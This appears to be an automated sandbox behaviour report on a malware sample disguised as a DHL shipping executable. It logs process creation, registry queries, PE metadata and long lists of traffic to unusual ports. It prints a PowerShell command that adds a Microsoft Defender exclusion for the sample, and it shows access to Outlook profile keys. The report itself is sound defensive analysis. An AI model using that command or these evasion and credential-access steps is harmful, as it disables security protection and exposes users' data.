Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7564 -s 78008
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe	Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\DHL EXPRESS.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: DHL EXPRESS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: DHL EXPRESS.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: DHL EXPRESS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: DHL EXPRESS.exe

Static PE information: 0xBE572727 [Thu Mar 12 10:44:55 2071 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02E30CB5 push edi; ret		6_2_02E30CC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02E30C95 push edi; retf		6_2_02E30C3A

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 4995
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 9401
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 5005
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 58386
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 1974
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 8061
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 9401 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 10003
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 59870
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 31908
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 14282
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 6014
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 3500
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 56350
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50271 -> 10722
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 49401
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 10003 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 30000
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 50399 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50378 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 49478
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 58740
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 52903
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50363 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50535 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50329 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 50495 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 5005
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50569 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50467 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 5020
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50578 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50628 -> 25675
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 26976
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50479 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50399
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50621 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50504 -> 4019
Source: unknown	Network traffic detected: HTTP traffic on port 50541 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 8880
Source: unknown	Network traffic detected: HTTP traffic on port 50618 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 30000 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50661 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 59870
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 1974
Source: unknown	Network traffic detected: HTTP traffic on port 50669 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50567 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 21802
Source: unknown	Network traffic detected: HTTP traffic on port 50608 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 45876
Source: unknown	Network traffic detected: HTTP traffic on port 50642 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 50664 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 50271 -> 10722
Source: unknown	Network traffic detected: HTTP traffic on port 50603 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 3500
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50569
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 49401
Source: unknown	Network traffic detected: HTTP traffic on port 50710 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50677 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50725 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50809 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50495
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50799 -> 1372
Source: unknown	Network traffic detected: HTTP traffic on port 50778 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50724 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50709 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50468
Source: unknown	Network traffic detected: HTTP traffic on port 18080 -> 50578
Source: unknown	Network traffic detected: HTTP traffic on port 50827 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50879 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50885 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50412
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 6014
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 56350
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 8090
Source: unknown	Network traffic detected: HTTP traffic on port 50707 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50663 -> 58386
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50765 -> 6005
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 56581
Source: unknown	Network traffic detected: HTTP traffic on port 50964 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50878 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50959 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50761 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50891 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50961 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50989 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 52903
Source: unknown	Network traffic detected: HTTP traffic on port 50969 -> 7237
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 51006 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50883 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50483
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 8061 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 50988 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50968 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50885
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50677
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 50283 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50992 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50690
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51004 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50773
Source: unknown	Network traffic detected: HTTP traffic on port 50628 -> 25675
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 83
Source: unknown	Network traffic detected: HTTP traffic on port 51041 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50329 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50603
Source: unknown	Network traffic detected: HTTP traffic on port 50271 -> 10722
Source: unknown	Network traffic detected: HTTP traffic on port 51038 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51033 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51059 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51037 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 51027 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 14282
Source: unknown	Network traffic detected: HTTP traffic on port 51063 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51035 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51072 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51044 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50799 -> 1372
Source: unknown	Network traffic detected: HTTP traffic on port 50504 -> 4019
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50707
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 49401
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50883
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 26976
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 21802
Source: unknown	Network traffic detected: HTTP traffic on port 51085 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 5005
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51030 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51029 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51104 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51056 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51032 -> 5020
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 34172
Source: unknown	Network traffic detected: HTTP traffic on port 50231 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 51142 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51112 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51062 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 51048 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51100 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51091 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51128 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 41746
Source: unknown	Network traffic detected: HTTP traffic on port 50443 -> 53777
Source: unknown	Network traffic detected: HTTP traffic on port 51121 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50344 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51096 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 21972
Source: unknown	Network traffic detected: HTTP traffic on port 51054 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51182 -> 25492
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 6008
Source: unknown	Network traffic detected: HTTP traffic on port 51087 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50354 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51129 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50437 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 63951
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 50465 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51137 -> 21231
Source: unknown	Network traffic detected: HTTP traffic on port 51216 -> 11946
Source: unknown	Network traffic detected: HTTP traffic on port 4995 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50357 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 3500
Source: unknown	Network traffic detected: HTTP traffic on port 51193 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50352 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 50581 -> 51507
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 51185 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51192 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51181 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51191 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 59870
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 52903
Source: unknown	Network traffic detected: HTTP traffic on port 51257 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50655 -> 29718
Source: unknown	Network traffic detected: HTTP traffic on port 50564 -> 47056
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 2906
Source: unknown	Network traffic detected: HTTP traffic on port 999 -> 50618
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 9090 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 50701 -> 27207
Source: unknown	Network traffic detected: HTTP traffic on port 51204 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50969 -> 7237
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 56581
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 1974
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50679 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 51297 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51263 -> 61564
Source: unknown	Network traffic detected: HTTP traffic on port 51242 -> 48678
Source: unknown	Network traffic detected: HTTP traffic on port 51303 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 51241 -> 36181
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37920
Source: unknown	Network traffic detected: HTTP traffic on port 50706 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51307 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 59098
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 13276
Source: unknown	Network traffic detected: HTTP traffic on port 50675 -> 2536
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51331 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51329 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 51330 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51333 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51336 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51290 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50832 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51289 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51299 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51100
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51257
Source: unknown	Network traffic detected: HTTP traffic on port 50824 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51337 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51302 -> 6014
Source: unknown	Network traffic detected: HTTP traffic on port 51358 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50628 -> 25675
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 56350
Source: unknown	Network traffic detected: HTTP traffic on port 51327 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50820 -> 4985
Source: unknown	Network traffic detected: HTTP traffic on port 51367 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50779 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51373 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51313 -> 3389
Source: unknown	Network traffic detected: HTTP traffic on port 50905 -> 29796
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 51054
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51182 -> 25492
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51303
Source: unknown	Network traffic detected: HTTP traffic on port 50799 -> 1372
Source: unknown	Network traffic detected: HTTP traffic on port 51346 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51347 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51301 -> 58386
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51311 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51359 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50960 -> 58714
Source: unknown	Network traffic detected: HTTP traffic on port 4019 -> 50504
Source: unknown	Network traffic detected: HTTP traffic on port 51357 -> 6005
